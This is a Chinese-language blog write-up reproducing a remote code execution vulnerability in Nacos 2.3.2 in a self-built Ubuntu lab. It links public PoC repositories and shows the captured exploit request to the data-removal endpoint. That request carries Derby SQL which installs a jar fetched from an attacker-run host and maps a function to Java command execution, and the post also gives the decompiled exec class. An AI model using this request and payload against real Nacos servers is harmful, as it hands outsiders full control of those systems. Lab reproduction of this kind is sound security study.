产品概述
NACOS是一个开源的服务发现、配置管理和服务治理平,属于阿里巴巴的一款开源产品

2.3.2版本的nacos存在远程代码执行漏洞,攻击者可以在远程服务器上执行任意代码,进而让攻击者完全控制受影响的系统,导致严重的安全问题
环境搭建
我的环境是搭建在虚拟机Ubuntu上的,折腾搭建靶场也折腾了蛮久的,主要是编译太久了,大概有一个小时才编译好吧,这里我会详细记录每一步搭建过程,以帮助大家更好地搭建靶场
我的Ubuntu版本是22.0.4TLS版本,我觉得版本影响应该不是很大,首先要确保自己的虚拟机里有JDK环境,如果你是新搭建的虚拟机,我建议先要安装JDK,使用如下的命令安装JDK
sudo apt install openjdk-17
|
安装好JDK后我们去GitHub上拉取项目,项目地址如下
https://github.com/alibaba/nacos/releases/tag/2.3.2
|
我这里使用的是git clone,相关命令如下所示
git clone https://github.com/alibaba/nacos.git cd nacos git checkout tags/2.3.2 git describe --tags sudo apt install maven mvn -Prelease-nacos -Dmaven.test.skip=true clean install -U cd distribution/target unzip nacos-server-2.3.2.zip cd nacos/bin ./startup.sh -m standalone
|

出现上面的结果就代表成功,我们直接用浏览器访问我们虚拟机的8848端口(记得提前放行),比如我访问http://192.168.153.133:8848/nacos/
就可以打开我们想要的靶机,如下图所示

漏洞复现
我们先去github上把poc下载下来,但是现在好像被删了,还好我已经下载了
https://github.com/ayoundzw/nacos-poc https://github.com/ikun123234/nacos-poc #上面那个访问不了就去这里下载
|

在实现漏洞复现之前,要先安装好requirements.txt中的东西,即安装好flask和requests,然后我们将config.py中的host改成自己本机局域网IP,端口设置为没被占用的端口,这里实际上是让我们启动一个web服务,然后让nacos去访问我的web服务的内容

运行命令python service.py
启动web服务,出现下面的情况就代表我们服务启动成功

然后我们再运行一下python exploit.py
,看看会有什么效果出现
我们可以发现会弹出计算器,因为我们输入的默认命令就是calc;
达到任意命令执行的目的,复现成功
漏洞分析
有点看不太懂这个漏洞,和内存🐎有点关系,这边直接嫖带头大哥的解释了
当我们运行我们的指令的时候,会发现我们会去请求service.py启动的web服务的./download模块
我们转到service.py,看到里面写了个payload

很显然,根本看不懂在写些什么,我们先看exploit.py干了什么,在exploit.py中加个代理,抓取的数据包如下
POST /nacos/v1/cs/ops/data/removal HTTP/1.1 Host: host User-Agent: python-requests/2.28.2 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Length: 488 Content-Type: multipart/form-data; boundary=111111111111111111111111
Content-Disposition: form-data; name="file"; filename="file"
CALL sqlj.install_jar('http://192.168.197.56:8000/download', 'NACOS.aKjwPoiU', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.aKjwPoiU')
CREATE FUNCTION S_EXAMPLE_aKjwPoiU( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
|
我们可以直接执行service的url地址,比如http://192.168.153.1:8000/download
直接保存为1.jar,反编译就可以看见里面的内容

我们可以直接执行,就可以弹计算器了
public class Example { public static void main(String[] args) { String ret = exec("ipconfig"); System.out.println(ret); }
public static String exec(String cmd) { StringBuffer bf = new StringBuffer(); try { String charset = "utf-8"; String osName = System.getProperty("os.name"); if (osName != null && osName.startsWith("Windows")) { charset = "gbk"; } Process p = Runtime.getRuntime().exec(cmd); InputStream fis = p.getInputStream(); InputStreamReader isr = new InputStreamReader(fis, charset); BufferedReader br = new BufferedReader(isr); while (true) { String line = br.readLine(); if (line == null) { return bf.toString(); } bf.append(line); } } catch (Exception e) { StringWriter writer = new StringWriter(); PrintWriter printer = new PrintWriter(writer); e.printStackTrace(printer); try { writer.close(); printer.close(); } catch (IOException e2) { } return "ERROR:" + writer.toString(); } } }
|
所以基本步骤是生成一个jar,然后转化为base64的bin。填入servic.py里面的payload就行,应该是利用nacos的sql注入漏洞就可以导致一系列的连锁反应,敬佩大佬!!!